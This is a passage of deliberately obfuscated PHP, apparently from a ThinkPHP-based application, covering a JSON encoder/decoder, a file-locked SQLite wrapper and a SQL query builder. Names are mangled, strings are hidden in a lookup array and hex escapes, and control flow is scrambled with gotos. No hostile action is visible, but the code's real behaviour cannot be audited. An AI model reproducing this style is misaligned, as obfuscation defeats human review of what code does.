mb_convert_encoding($c, $Fދ򚛳[1565], $Fދ򚛳[1914]); } $eܨׇ = ord($c[0]) << 8 | ord($c[1]); switch (!0) { case (127 & $eܨׇ) == $eܨׇ: return chr(127 & $eܨׇ); case (2047 & $eܨׇ) == $eܨׇ: return chr(192 | $eܨׇ >> 6 & 31) . chr(128 | $eܨׇ & 63); case (65535 & $eܨׇ) == $eܨׇ: return chr(224 | $eܨׇ >> 12 & 15) . chr(128 | $eܨׇ >> 6 & 63) . chr(128 | $eܨׇ & 63); } return $Fދ򚛳[33]; } function utf82utf16($A눤) { $Dʃ =& $_SERVER[ֹ]; if (function_exists($Dʃ[68])) { return mb_convert_encoding($A눤, $Dʃ[1914], $Dʃ[1565]); } switch (strlen($A눤)) { case 1: return $A눤; case 2: return chr(7 & ord($A눤[0]) >> 2) . chr(192 & ord($A눤[0]) << 6 | 63 & ord($A눤[1])); case 3: return chr(240 & ord($A눤[0]) << 4 | 15 & ord($A눤[1]) >> 2) . chr(192 & ord($A눤[1]) << 6 | 127 & ord($A눤[2])); } return $Dʃ[33]; } function encode($bҳ) { $dŨ =& $_SERVER[ֹ]; switch (gettype($bҳ)) { case $dŨ[1576]: return $bҳ ? $dŨ[1575] : $dŨ[1577]; case $dŨ[1915]: return $dŨ[99]; case $dŨ[299]: return (int) $bҳ; case $dŨ[274]: case $dŨ[273]: return (double) $bҳ; case $dŨ[308]: $d΋ׅ = $dŨ[33]; $d޸ = strlen($bҳ); for ($DȬܡ = 0; $DȬܡ < $d޸; ++$DȬܡ) { $B陂Ӄ = ord($bҳ[$DȬܡ]); switch (!0) { case $B陂Ӄ == 8: $d΋ׅ .= $dŨ[1916]; break; case $B陂Ӄ == 9: $d΋ׅ .= $dŨ[1552]; break; case $B陂Ӄ == 10: $d΋ׅ .= $dŨ[1550]; break; case $B陂Ӄ == 12: $d΋ׅ .= $dŨ[1917]; break; case $B陂Ӄ == 13: $d΋ׅ .= $dŨ[1551]; break; case $B陂Ӄ == 34: case $B陂Ӄ == 47: case $B陂Ӄ == 92: $d΋ׅ .= $dŨ[93] . $bҳ[$DȬܡ]; break; case $B陂Ӄ >= 32 && $B陂Ӄ <= 127: $d΋ׅ .= $bҳ[$DȬܡ]; break; case ($B陂Ӄ & 224) == 192: $Cی؆Ӑ = pack($dŨ[1918], $B陂Ӄ, ord($bҳ[$DȬܡ + 1])); $DȬܡ += 1; $FԨƭ = $this->utf82utf16($Cی؆Ӑ); $d΋ׅ .= sprintf($dŨ[1919], bin2hex($FԨƭ)); break; case ($B陂Ӄ & 240) == 224: $Cی؆Ӑ = pack($dŨ[1918], $B陂Ӄ, ord($bҳ[$DȬܡ + 1]), ord($bҳ[$DȬܡ + 2])); $DȬܡ += 2; $FԨƭ = $this->utf82utf16($Cی؆Ӑ); $d΋ׅ .= sprintf($dŨ[1919], bin2hex($FԨƭ)); break; case ($B陂Ӄ & 248) == 240: $Cی؆Ӑ = pack($dŨ[1918], $B陂Ӄ, ord($bҳ[$DȬܡ + 1]), ord($bҳ[$DȬܡ + 2]), ord($bҳ[$DȬܡ + 3])); $DȬܡ += 3; $FԨƭ = $this->utf82utf16($Cی؆Ӑ); $d΋ׅ .= sprintf($dŨ[1919], bin2hex($FԨƭ)); break; case ($B陂Ӄ & 252) == 248: $Cی؆Ӑ = pack($dŨ[1918], $B陂Ӄ, ord($bҳ[$DȬܡ + 1]), ord($bҳ[$DȬܡ + 2]), ord($bҳ[$DȬܡ + 3]), ord($bҳ[$DȬܡ + 4])); $DȬܡ += 4; $FԨƭ = $this->utf82utf16($Cی؆Ӑ); $d΋ׅ .= sprintf($dŨ[1919], bin2hex($FԨƭ)); break; case ($B陂Ӄ & 254) == 252: $Cی؆Ӑ = pack($dŨ[1918], $B陂Ӄ, ord($bҳ[$DȬܡ + 1]), ord($bҳ[$DȬܡ + 2]), ord($bҳ[$DȬܡ + 3]), ord($bҳ[$DȬܡ + 4]), ord($bҳ[$DȬܡ + 5])); $DȬܡ += 5; $FԨƭ = $this->utf82utf16($Cی؆Ӑ); $d΋ׅ .= sprintf($dŨ[1919], bin2hex($FԨƭ)); break; } } return $dŨ[112] . $d΋ׅ . $dŨ[112]; case $dŨ[1920]: if (is_array($bҳ) && count($bҳ) && array_keys($bҳ) !== range(0, sizeof($bҳ) - 1)) { $bآˋ = array_map(array($this, $dŨ[1921]), array_keys($bҳ), array_values($bҳ)); foreach ($bآˋ as $eռ) { if (Services_JSON::isError($eռ)) { return $eռ; } } return $dŨ[1062] . join($dŨ[47], $bآˋ) . $dŨ[311]; } $f = array_map(array($this, $dŨ[1922]), $bҳ); foreach ($f as $Fʈ) { if (Services_JSON::isError($Fʈ)) { return $Fʈ; } } return $dŨ[153] . join($dŨ[47], $f) . $dŨ[472]; case $dŨ[1923]: $aܕ = get_object_vars($bҳ); $bآˋ = array_map(array($this, $dŨ[1921]), array_keys($aܕ), array_values($aܕ)); foreach ($bآˋ as $eռ) { if (Services_JSON::isError($eռ)) { return $eռ; } } return $dŨ[1062] . join($dŨ[47], $bآˋ) . $dŨ[311]; default: return $this->use & SERVICES_JSON_SUPPRESS_ERRORS ? $dŨ[99] : new Services_JSON_Error(gettype($bҳ) . $dŨ[1924]); } } function name_value($cݪ, $A) { $b = $this->encode($A); if (Services_JSON::isError($b)) { return $b; } return $this->encode(strval($cݪ)) . $_SERVER[ֹ][4] . $b; } function reduce_string($bϞɟ) { $e =& $_SERVER[ֹ]; $bϞɟ = preg_replace(array($e[1925], $e[1926], $e[1927]), $e[33], $bϞɟ); return trim($bϞɟ); } function decode($F۱َ) { $CƟ =& $_SERVER[ֹ]; $F۱َ = $this->reduce_string($F۱َ); switch (strtolower($F۱َ)) { case $CƟ[1575]: return !0; case $CƟ[1577]: return !1; case $CƟ[99]: return null; default: $Bڏ = array(); if (is_numeric($F۱َ)) { return (double) $F۱َ == (int) $F۱َ ? (int) $F۱َ : (double) $F۱َ; } elseif (preg_match($CƟ[1928], $F۱َ, $Bڏ) && $Bڏ[1] == $Bڏ[2]) { $e = substr($F۱َ, 0, 1); $e̎ = substr($F۱َ, 1, -1); $Aꌗ = $CƟ[33]; $bߖʗ = strlen($e̎); for ($f١ = 0; $f١ < $bߖʗ; ++$f١) { $A = substr($e̎, $f١, 2); $fǃ҇ = ord($e̎[$f١]); switch (!0) { case $A == $CƟ[1916]: $Aꌗ .= chr(8); ++$f١; break; case $A == $CƟ[1552]: $Aꌗ .= chr(9); ++$f١; break; case $A == $CƟ[1550]: $Aꌗ .= chr(10); ++$f١; break; case $A == $CƟ[1917]: $Aꌗ .= chr(12); ++$f١; break; case $A == $CƟ[1551]: $Aꌗ .= chr(13); ++$f١; break; case $A == $CƟ[1335]: case $A == $CƟ[1929]: case $A == $CƟ[1545]: case $A == $CƟ[1547]: if ($e == $CƟ[112] && $A != $CƟ[1929] || $e == $CƟ[55] && $A != $CƟ[1335]) { $Aꌗ .= $e̎[++$f١]; } break; case preg_match($CƟ[1930], substr($e̎, $f١, 6)): $a↘ = chr(hexdec(substr($e̎, $f١ + 2, 2))) . chr(hexdec(substr($e̎, $f١ + 4, 2))); $Aꌗ .= $this->utf162utf8($a↘); $f١ += 5; break; case $fǃ҇ >= 32 && $fǃ҇ <= 127: $Aꌗ .= $e̎[$f١]; break; case ($fǃ҇ & 224) == 192: $Aꌗ .= substr($e̎, $f١, 2); ++$f١; break; case ($fǃ҇ & 240) == 224: $Aꌗ .= substr($e̎, $f١, 3); $f١ += 2; break; case ($fǃ҇ & 248) == 240: $Aꌗ .= substr($e̎, $f١, 4); $f١ += 3; break; case ($fǃ҇ & 252) == 248: $Aꌗ .= substr($e̎, $f١, 5); $f١ += 4; break; case ($fǃ҇ & 254) == 252: $Aꌗ .= substr($e̎, $f١, 6); $f١ += 5; break; } } return $Aꌗ; } elseif (preg_match($CƟ[1931], $F۱َ) || preg_match($CƟ[1932], $F۱َ)) { goto Cٴ; Cٴ: if ($F۱َ[0] == $CƟ[153]) { $C = array(SERVICES_JSON_IN_ARR); $b̑Ŧ = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $C = array(SERVICES_JSON_IN_OBJ); $Dȓ = array(); } else { $C = array(SERVICES_JSON_IN_OBJ); $Dȓ = new stdClass(); } } array_push($C, array($CƟ[1933] => SERVICES_JSON_SLICE, $CƟ[259] => 0, $CƟ[1934] => !1)); $e̎ = substr($F۱َ, 1, -1); goto Bȯ; D裱: for ($f١ = 0; $f١ <= $bߖʗ; ++$f١) { $ȧ = end($C); $A = substr($e̎, $f١, 2); if ($f١ == $bߖʗ || $e̎[$f١] == $CƟ[47] && $ȧ[$CƟ[1933]] == SERVICES_JSON_SLICE) { $D = substr($e̎, $ȧ[$CƟ[259]], $f١ - $ȧ[$CƟ[259]]); array_push($C, array($CƟ[1933] => SERVICES_JSON_SLICE, $CƟ[259] => $f١ + 1, $CƟ[1934] => !1)); if (reset($C) == SERVICES_JSON_IN_ARR) { array_push($b̑Ŧ, $this->decode($D)); } elseif (reset($C) == SERVICES_JSON_IN_OBJ) { $D֏ = array(); if (preg_match($CƟ[1935], $D, $D֏)) { $D㐥լ = $this->decode($D֏[1]); $Dʊ = $this->decode($D֏[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $Dȓ[$D㐥լ] = $Dʊ; } else { $Dȓ->{$D㐥լ} = $Dʊ; } } elseif (preg_match($CƟ[1936], $D, $D֏)) { $D㐥լ = $D֏[1]; $Dʊ = $this->decode($D֏[2]); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $Dȓ[$D㐥լ] = $Dʊ; } else { $Dȓ->{$D㐥լ} = $Dʊ; } } } } elseif (($e̎[$f١] == $CƟ[112] || $e̎[$f١] == $CƟ[55]) && $ȧ[$CƟ[1933]] != SERVICES_JSON_IN_STR) { array_push($C, array($CƟ[1933] => SERVICES_JSON_IN_STR, $CƟ[259] => $f١, $CƟ[1934] => $e̎[$f١])); } elseif ($e̎[$f١] == $ȧ[$CƟ[1934]] && $ȧ[$CƟ[1933]] == SERVICES_JSON_IN_STR && (strlen(substr($e̎, 0, $f١)) - strlen(rtrim(substr($e̎, 0, $f١), $CƟ[93]))) % 2 != 1) { array_pop($C); } elseif ($e̎[$f١] == $CƟ[153] && in_array($ȧ[$CƟ[1933]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($C, array($CƟ[1933] => SERVICES_JSON_IN_ARR, $CƟ[259] => $f١, $CƟ[1934] => !1)); } elseif ($e̎[$f١] == $CƟ[472] && $ȧ[$CƟ[1933]] == SERVICES_JSON_IN_ARR) { array_pop($C); } elseif ($e̎[$f١] == $CƟ[1062] && in_array($ȧ[$CƟ[1933]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($C, array($CƟ[1933] => SERVICES_JSON_IN_OBJ, $CƟ[259] => $f١, $CƟ[1934] => !1)); } elseif ($e̎[$f١] == $CƟ[311] && $ȧ[$CƟ[1933]] == SERVICES_JSON_IN_OBJ) { array_pop($C); } elseif ($A == $CƟ[1937] && in_array($ȧ[$CƟ[1933]], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { array_push($C, array($CƟ[1933] => SERVICES_JSON_IN_CMT, $CƟ[259] => $f١, $CƟ[1934] => !1)); $f١++; } elseif ($A == $CƟ[1938] && $ȧ[$CƟ[1933]] == SERVICES_JSON_IN_CMT) { array_pop($C); $f١++; for ($Dܔ = $ȧ[$CƟ[259]]; $Dܔ <= $f١; ++$Dܔ) { $e̎ = substr_replace($e̎, $CƟ[50], $Dܔ, 1); } } } if (reset($C) == SERVICES_JSON_IN_ARR) { return $b̑Ŧ; } elseif (reset($C) == SERVICES_JSON_IN_OBJ) { return $Dȓ; } goto FĦ; Bȯ: $e̎ = $this->reduce_string($e̎); if ($e̎ == $CƟ[33]) { if (reset($C) == SERVICES_JSON_IN_ARR) { return $b̑Ŧ; } else { return $Dȓ; } } $bߖʗ = strlen($e̎); goto D裱; FĦ: } } } function isError($eו, $bޜ = null) { $E =& $_SERVER[ֹ]; if (class_exists($E[1939])) { return PEAR::isError($eו, $bޜ); } elseif (is_object($eו) && (get_class($eו) == $E[1940] || is_subclass_of($eו, $E[1940]))) { return !0; } return !1; } } goto b똻; Dщŧ: class DbSqlite3 extends DbSqlite3Base { public function query($E) { goto Fز; Fز: $DƂ =& $_SERVER[ֹ]; $d菊 = DATA_PATH . $DƂ[868]; $Bޣ = fopen($d菊, $DƂ[869]); goto cՓ; aٴ: fclose($Bޣ); show_json($DƂ[870], !1); return !1; goto fǓ; cՓ: if (!$Bޣ) { return !1; } if (flock($Bޣ, LOCK_EX)) { $D܂һ = parent::query($E); flock($Bޣ, LOCK_UN); fclose($Bޣ); return $D܂һ; } flock($Bޣ, LOCK_UN); goto aٴ; fǓ: } public function execute($F՚˗) { goto D⩂; Bׂ: if (!$dݝԐ) { return !1; } if (flock($dݝԐ, LOCK_EX)) { $cߎ = parent::execute($F՚˗); flock($dݝԐ, LOCK_UN); fclose($dݝԐ); return $cߎ; } flock($dݝԐ, LOCK_UN); goto CԌ; CԌ: fclose($dݝԐ); show_json($F٦Ʌ[870], !1); return !1; goto F؏֎; D⩂: $F٦Ʌ =& $_SERVER[ֹ]; $F׈ = DATA_PATH . $F٦Ʌ[868]; $dݝԐ = fopen($F׈, $F٦Ʌ[869]); goto Bׂ; F؏֎: } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\x68\x69\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $exp = array("\x65\161" => "\x3d", "\x6e\145\161" => "\x3c\x3e", "\147\164" => "\x3e", "\145\147\x74" => "\x3e\75", "\x6c\164" => "\74", "\145\154\x74" => "\74\x3d", "\x6e\157\164\154\x69\x6b\145" => "\x4e\x4f\124\x20\114\x49\x4b\x45", "\154\x69\153\x65" => "\114\111\x4b\105", "\x69\156" => "\111\x4e", "\156\157\x74\151\x6e" => "\116\x4f\x54\40\x49\116", "\156\x6f\164\40\151\156" => "\x4e\x4f\x54\x20\111\x4e", "\142\x65\164\167\145\145\x6e" => "\x42\x45\124\x57\105\x45\x4e", "\x6e\x6f\164\x62\x65\164\x77\x65\x65\156" => "\x4e\x4f\x54\40\102\105\x54\127\105\x45\x4e", "\156\x6f\164\x20\142\145\x74\167\x65\x65\156" => "\x4e\117\124\40\x42\x45\x54\127\105\x45\x4e"); protected $selectSql = "\123\x45\x4c\x45\x43\x54\45\x44\111\123\124\x49\x4e\103\124\45\40\45\x46\111\x45\114\104\x25\40\x46\122\117\115\40\45\x54\101\x42\x4c\105\45\45\112\117\x49\x4e\x25\45\x57\110\x45\x52\x45\45\x25\x47\122\x4f\x55\120\45\45\110\101\126\x49\116\107\x25\x25\x4f\x52\104\105\122\x25\45\x4c\111\115\x49\x54\x25\x20\x25\x55\x4e\x49\117\116\45\45\x43\117\x4d\x4d\x45\116\124\x25"; protected $bind = array(); public static function getInstance() { $CᎿ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ֹ][871], $CᎿ); } public function factory($bۼӾ = '') { goto F疏; eܣ: $this->dbType = ucwords(strtolower($bۼӾ[$a󒰷[872]])); $E = $a󒰷[874] . $this->dbType; if (class_exists($E)) { $b񺠎 = new $E($bۼӾ); if ($a󒰷[721] != strtolower($bۼӾ[$a󒰷[872]])) { $b񺠎->dbType = strtoupper($this->dbType); } else { $b񺠎->dbType = $this->_getDsnType($bۼӾ[$a󒰷[824]]); } } else { think_exception(think_lang($a󒰷[875]) . $a󒰷[876] . $E); } goto dу; F疏: $a󒰷 =& $_SERVER[ֹ]; $bۼӾ = $this->parseConfig($bۼӾ); if (empty($bۼӾ[$a󒰷[872]])) { think_exception(think_lang($a󒰷[873])); } goto eܣ; dу: return $b񺠎; goto Fƒ; Fƒ: } public function __call($E񃙖, $B) { if (method_exists($this, $E񃙖)) { return call_user_func_array(array($this, $E񃙖), $B); } } protected function _getDsnType($AД) { $a = explode($_SERVER[ֹ][4], $AД); $E = strtoupper(trim($a[0])); return $E; } private function parseConfig($D° = '') { $DՈ =& $_SERVER[ֹ]; if (!empty($D°) && is_string($D°)) { $D° = $this->parseDSN($D°); } elseif (is_array($D°)) { $D° = array_change_key_case($D°); $D° = array($DՈ[872] => $D°[$DՈ[720]], $DՈ[797] => $D°[$DՈ[877]], $DՈ[798] => $D°[$DՈ[878]], $DՈ[795] => $D°[$DՈ[879]], $DՈ[796] => $D°[$DՈ[880]], $DՈ[17] => $D°[$DՈ[881]], $DՈ[824] => $D°[$DՈ[722]], $DՈ[13] => isset($D°[$DՈ[882]]) ? $D°[$DՈ[882]] : array()); } elseif (empty($D°)) { if (think_config($DՈ[883]) && $DՈ[721] != strtolower(think_config($DՈ[884]))) { $D° = $this->parseDSN(think_config($DՈ[883])); } else { $D° = array($DՈ[872] => think_config($DՈ[884]), $DՈ[797] => think_config($DՈ[885]), $DՈ[798] => think_config($DՈ[886]), $DՈ[795] => think_config($DՈ[887]), $DՈ[796] => think_config($DՈ[888]), $DՈ[17] => think_config($DՈ[230]), $DՈ[824] => think_config($DՈ[883]), $DՈ[13] => think_config($DՈ[889])); } } return $D°; } protected function initConnect($c҅ = true) { if (1 == think_config($_SERVER[ֹ][18])) { $this->_linkID = $this->multiConnect($c҅); } else { if (!$this->connected) { $this->_linkID = $this->connect(); } } } protected function multiConnect($A = false) { $B =& $_SERVER[ֹ]; static $C΃ = array(); if (empty($C΃)) { foreach ($this->config as $cٕ˸ => $aۇ) { $C΃[$cٕ˸] = explode($B[47], $aۇ); } } if (think_config($B[890])) { if ($A) { $B剖 = floor(mt_rand(0, think_config($B[891]) - 1)); } else { if (is_numeric(think_config($B[892]))) { $B剖 = think_config($B[892]); } else { $B剖 = floor(mt_rand(think_config($B[891]), count($C΃[$B[795]]) - 1)); } } } else { $B剖 = floor(mt_rand(0, count($C΃[$B[795]]) - 1)); } $D󑗠Ɇ = array($B[797] => isset($C΃[$B[797]][$B剖]) ? $C΃[$B[797]][$B剖] : $C΃[$B[797]][0], $B[798] => isset($C΃[$B[798]][$B剖]) ? $C΃[$B[798]][$B剖] : $C΃[$B[798]][0], $B[795] => isset($C΃[$B[795]][$B剖]) ? $C΃[$B[795]][$B剖] : $C΃[$B[795]][0], $B[796] => isset($C΃[$B[796]][$B剖]) ? $C΃[$B[796]][$B剖] : $C΃[$B[796]][0], $B[17] => isset($C΃[$B[17]][$B剖]) ? $C΃[$B[17]][$B剖] : $C΃[$B[17]][0], $B[824] => isset($C΃[$B[824]][$B剖]) ? $C΃[$B[824]][$B剖] : $C΃[$B[824]][0], $B[13] => isset($C΃[$B[13]][$B剖]) ? $C΃[$B[13]][$B剖] : $C΃[$B[13]][0]); return $this->connect($D󑗠Ɇ, $B剖); } public function parseDSN($c𼊋) { $b윊ز =& $_SERVER[ֹ]; if (empty($c𼊋)) { return !1; } $DͰ = parse_url($c𼊋); if ($DͰ[$b윊ز[164]]) { $A煬 = array($b윊ز[872] => $DͰ[$b윊ز[164]], $b윊ز[797] => isset($DͰ[$b윊ز[531]]) ? $DͰ[$b윊ز[531]] : $b윊ز[33], $b윊ز[798] => isset($DͰ[$b윊ز[893]]) ? $DͰ[$b윊ز[893]] : $b윊ز[33], $b윊ز[795] => isset($DͰ[$b윊ز[165]]) ? $DͰ[$b윊ز[165]] : $b윊ز[33], $b윊ز[796] => isset($DͰ[$b윊ز[166]]) ? $DͰ[$b윊ز[166]] : $b윊ز[33], $b윊ز[17] => isset($DͰ[$b윊ز[75]]) ? substr($DͰ[$b윊ز[75]], 1) : $b윊ز[33]); } else { preg_match($b윊ز[894], trim($c𼊋), $Bݝ뎾); $A煬 = array($b윊ز[872] => $Bݝ뎾[1], $b윊ز[797] => $Bݝ뎾[2], $b윊ز[798] => $Bݝ뎾[3], $b윊ز[795] => $Bݝ뎾[4], $b윊ز[796] => $Bݝ뎾[5], $b윊ز[17] => $Bݝ뎾[6]); } $A煬[$b윊ز[824]] = $b윊ز[33]; return $A煬; } protected function debug() { $fٵ =& $_SERVER[ֹ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $fٵ[895]; if (think_config($fٵ[896])) { think_status($fٵ[897]); think_trace($this->queryStr . $fٵ[898] . think_status($fٵ[20], $fٵ[897], 6) . $fٵ[899], $fٵ[33], $fٵ[900]); } } protected function parseLock($A = false) { $f󋧡 =& $_SERVER[ֹ]; if (!$A) { return $f󋧡[33]; } if ($f󋧡[826] == $this->dbType) { return $f󋧡[901]; } return $f󋧡[902]; } protected function parseSet($eݟ) { $F =& $_SERVER[ֹ]; foreach ($eݟ as $F􊘵 => $c) { if (is_array($c) && $F[281] == $c[0]) { $A⻥[] = $this->parseKey($F􊘵) . $F[903] . $c[1]; } elseif (is_scalar($c) || is_null($c)) { $A⻥[] = $this->parseKey($F􊘵) . $F[903] . $this->parseValue($c); } } return $F[904] . implode($F[47], $A⻥); } protected function bindParam($a, $d) { $this->bind[$_SERVER[ֹ][4] . $a] = $d; } protected function parseBind($dፓ) { $dፓ = array_merge($this->bind, $dፓ); $this->bind = array(); return $dፓ; } function parseKey(&$a, $F = true) { if ($F) { $a = $this->parseKeyCheck($a); } return $a; } function parseKeyCheck($bˊň) { $D =& $_SERVER[ֹ]; $bˊň = trim($bˊň); if (!preg_match($D[905], $bˊň)) { think_exception($D[906] . $bˊň); } return $bˊň; } protected function parseValue($B܅) { $F± =& $_SERVER[ֹ]; if (is_string($B܅)) { $B܅ = $F±[865] . $this->escapeString($B܅) . $F±[865]; } elseif (isset($B܅[0]) && is_string($B܅[0]) && strtolower($B܅[0]) == $F±[281]) { $B܅ = $this->escapeString($B܅[1]); } elseif (is_array($B܅)) { $B܅ = array_map(array($this, $F±[866]), $B܅); } elseif (is_bool($B܅)) { $B܅ = $B܅ ? $F±[83] : $F±[464]; } elseif (is_null($B܅)) { $B܅ = $F±[99]; } return $B܅; } protected function parseField($E) { $eփ =& $_SERVER[ֹ]; if (is_string($E) && strpos($E, $eփ[47])) { $E = explode($eփ[47], $E); } if (is_array($E)) { $bа = array(); foreach ($E as $A => $F舐Р) { if (!is_numeric($A)) { $bа[] = $this->parseKey($A) . $eփ[907] . $this->parseKey($F舐Р); } else { $bа[] = $this->parseKey($F舐Р); } } $Fڼ = implode($eփ[47], $bа); } elseif (is_string($E) && !empty($E)) { $Fڼ = $E; } else { $Fڼ = $eփ[172]; } return $Fڼ; } protected function parseTable($Cῇ) { $aߐ =& $_SERVER[ֹ]; if (is_array($Cῇ)) { $F = array(); foreach ($Cῇ as $EȚ => $CȆՆ) { if (!is_numeric($EȚ)) { $F[] = $this->parseKey($EȚ) . $aߐ[50] . $this->parseKey($CȆՆ); } else { $F[] = $this->parseKey($EȚ); } } $Cῇ = $F; } elseif (is_string($Cῇ)) { if (strstr($Cῇ, $aߐ[50])) { return $Cῇ; } $Cῇ = explode($aߐ[47], $Cῇ); array_walk($Cῇ, array($this, $aߐ[814])); } return $aߐ[908] . trim(implode($aߐ[909], $Cῇ), $aߐ[820]) . $aߐ[908]; } protected function parseWhere($bՊㅲ) { $bә =& $_SERVER[ֹ]; $D« = $bә[33]; if (is_string($bՊㅲ)) { $D« = $bՊㅲ; } else { $fۨ = isset($bՊㅲ[$bә[910]]) ? strtoupper($bՊㅲ[$bә[910]]) : $bә[33]; if (in_array($fۨ, array($bә[911], $bә[912], $bә[913]))) { $fۨ = $bә[50] . $fۨ . $bә[50]; unset($bՊㅲ[$bә[910]]); } else { $fۨ = $bә[914]; } foreach ($bՊㅲ as $dΩ => $B⍚) { $D« .= $bә[261]; if (is_numeric($dΩ)) { $dΩ = $bә[915]; } if (0 === strpos($dΩ, $bә[70])) { $D« .= $this->parseThinkWhere($dΩ, $B⍚); } else { if (!preg_match($bә[916], trim($dΩ))) { think_exception(think_lang($bә[917]) . $bә[4] . $dΩ); } $cţ = is_array($B⍚) && isset($B⍚[$bә[918]]); $dΩ = trim($dΩ); if (strpos($dΩ, $bә[267])) { $F̾枎 = explode($bә[267], $dΩ); $Dđօ = array(); foreach ($F̾枎 as $CҐ => $aᤄʬ) { $c = $cţ ? $B⍚[$CҐ] : $B⍚; $Dđօ[] = $bә[244] . $this->parseWhereItem($this->parseKey($aᤄʬ), $c) . $bә[813]; } $D« .= implode($bә[919], $Dđօ); } elseif (strpos($dΩ, $bә[268])) { $F̾枎 = explode($bә[268], $dΩ); $Dđօ = array(); foreach ($F̾枎 as $CҐ => $aᤄʬ) { $c = $cţ ? $B⍚[$CҐ] : $B⍚; $Dđօ[] = $bә[244] . $this->parseWhereItem($this->parseKey($aᤄʬ), $c) . $bә[813]; } $D« .= implode($bә[914], $Dđօ); } else { $D« .= $this->parseWhereItem($this->parseKey($dΩ), $B⍚); } } $D« .= $bә[262] . $fۨ; } $D« = substr($D«, 0, -strlen($fۨ)); } return empty($D«) ? $bә[33] : $bә[920] . $D«; } protected function parseWhereItem($cČ, $bߠƒ) { $cӰ =& $_SERVER[ֹ]; $Eڇ = $cӰ[33]; if (is_array($bߠƒ)) { if (is_string($bߠƒ[0])) { $DǨ = strtolower($bߠƒ[0]); if (in_array($bߠƒ[0], array($cӰ[903], $cӰ[921], $cӰ[922], $cӰ[923], $cӰ[924], $cӰ[925]))) { $Eڇ .= $cČ . $cӰ[50] . $bߠƒ[0] . $cӰ[50] . $this->parseValue($bߠƒ[1]); } elseif (preg_match($cӰ[926], $bߠƒ[0])) { $Eڇ .= $cČ . $cӰ[50] . $this->exp[$DǨ] . $cӰ[50] . $this->parseValue($bߠƒ[1]); } elseif (preg_match($cӰ[927], $bߠƒ[0])) { if (is_array($bߠƒ[1])) { $D = isset($bߠƒ[2]) ? strtoupper($bߠƒ[2]) : $cӰ[912]; if (in_array($D, array($cӰ[911], $cӰ[912], $cӰ[913]))) { $a񮫂 = array(); foreach ($bߠƒ[1] as $Dԙķ) { $a񮫂[] = $cČ . $cӰ[50] . $this->exp[$DǨ] . $cӰ[50] . $this->parseValue($Dԙķ); } $Eڇ .= $cӰ[244] . implode($cӰ[50] . $D . $cӰ[50], $a񮫂) . $cӰ[813]; } } else { $Eڇ .= $cČ . $cӰ[50] . $this->exp[$DǨ] . $cӰ[50] . $this->parseValue($bߠƒ[1]); } } elseif ($cӰ[281] == $DǨ) { $Eڇ .= $cӰ[811] . $cČ . $cӰ[50] . $bߠƒ[1] . $cӰ[928]; } elseif (preg_match($cӰ[929], $bߠƒ[0])) { if (isset($bߠƒ[2]) && $cӰ[281] == $bߠƒ[2]) { $Eڇ .= $cČ . $cӰ[50] . $this->exp[$DǨ] . $cӰ[50] . $bߠƒ[1]; } else { if (is_string($bߠƒ[1])) { $bߠƒ[1] = explode($cӰ[47], $bߠƒ[1]); } $A = implode($cӰ[47], $this->parseValue($bߠƒ[1])); $Eڇ .= $cČ . $cӰ[50] . $this->exp[$DǨ] . $cӰ[811] . $A . $cӰ[813]; } } elseif (preg_match($cӰ[930], $bߠƒ[0])) { $Bޘ = is_string($bߠƒ[1]) ? explode($cӰ[47], $bߠƒ[1]) : $bߠƒ[1]; $Eڇ .= $cӰ[811] . $cČ . $cӰ[50] . $this->exp[$DǨ] . $cӰ[50] . $this->parseValue($Bޘ[0]) . $cӰ[914] . $this->parseValue($Bޘ[1]) . $cӰ[262]; } else { think_exception(think_lang($cӰ[917]) . $cӰ[4] . $bߠƒ[0]); } } else { $Dҏ = count($bߠƒ); $FŌ = isset($bߠƒ[$Dҏ - 1]) ? strtoupper($bߠƒ[$Dҏ - 1]) : $cӰ[33]; if (in_array($FŌ, array($cӰ[911], $cӰ[912], $cӰ[913]))) { $Dҏ = $Dҏ - 1; } else { $FŌ = $cӰ[911]; } for ($C = 0; $C < $Dҏ; $C++) { $Bޘ = is_array($bߠƒ[$C]) ? $bߠƒ[$C][1] : $bߠƒ[$C]; if ($cӰ[281] == strtolower($bߠƒ[$C][0])) { $Eڇ .= $cӰ[244] . $cČ . $cӰ[50] . $Bޘ . $cӰ[928] . $FŌ . $cӰ[50]; } else { $dڱ = is_array($bߠƒ[$C]) ? $this->exp[strtolower($bߠƒ[$C][0])] : $cӰ[903]; if (!$dڱ && is_array($bߠƒ[$C]) && in_array($bߠƒ[$C][0], array($cӰ[903], $cӰ[921], $cӰ[922], $cӰ[923], $cӰ[924], $cӰ[925]))) { $dڱ = $bߠƒ[$C][0]; } $Eڇ .= $cӰ[244] . $cČ . $cӰ[50] . $dڱ . $cӰ[50] . $this->parseValue($Bޘ) . $cӰ[928] . $FŌ . $cӰ[50]; } } $Eڇ = substr($Eڇ, 0, -4); } } else { $Eڇ .= $cČ . $cӰ[931] . $this->parseValue($bߠƒ); } return $Eڇ; } protected function parseThinkWhere($Bႅ, $c죭) { $Aȓ =& $_SERVER[ֹ]; $C֞ = $Aȓ[33]; switch ($Bႅ) { case $Aȓ[335]: $C֞ = $c죭; break; case $Aȓ[915]: $C֞ = is_string($c죭) ? $c죭 : substr($this->parseWhere($c죭), 6); break; case $Aȓ[932]: parse_str($c죭, $Eױ); if (isset($Eױ[$Aȓ[910]])) { $Aǝ͂ = $Aȓ[50] . strtoupper($Eױ[$Aȓ[910]]) . $Aȓ[50]; unset($Eױ[$Aȓ[910]]); } else { $Aǝ͂ = $Aȓ[914]; } $D﷕ = array(); foreach ($Eױ as $B护 => $d♇) { $D﷕[] = $this->parseKey($B护) . $Aȓ[931] . $this->parseValue($d♇); } $C֞ = 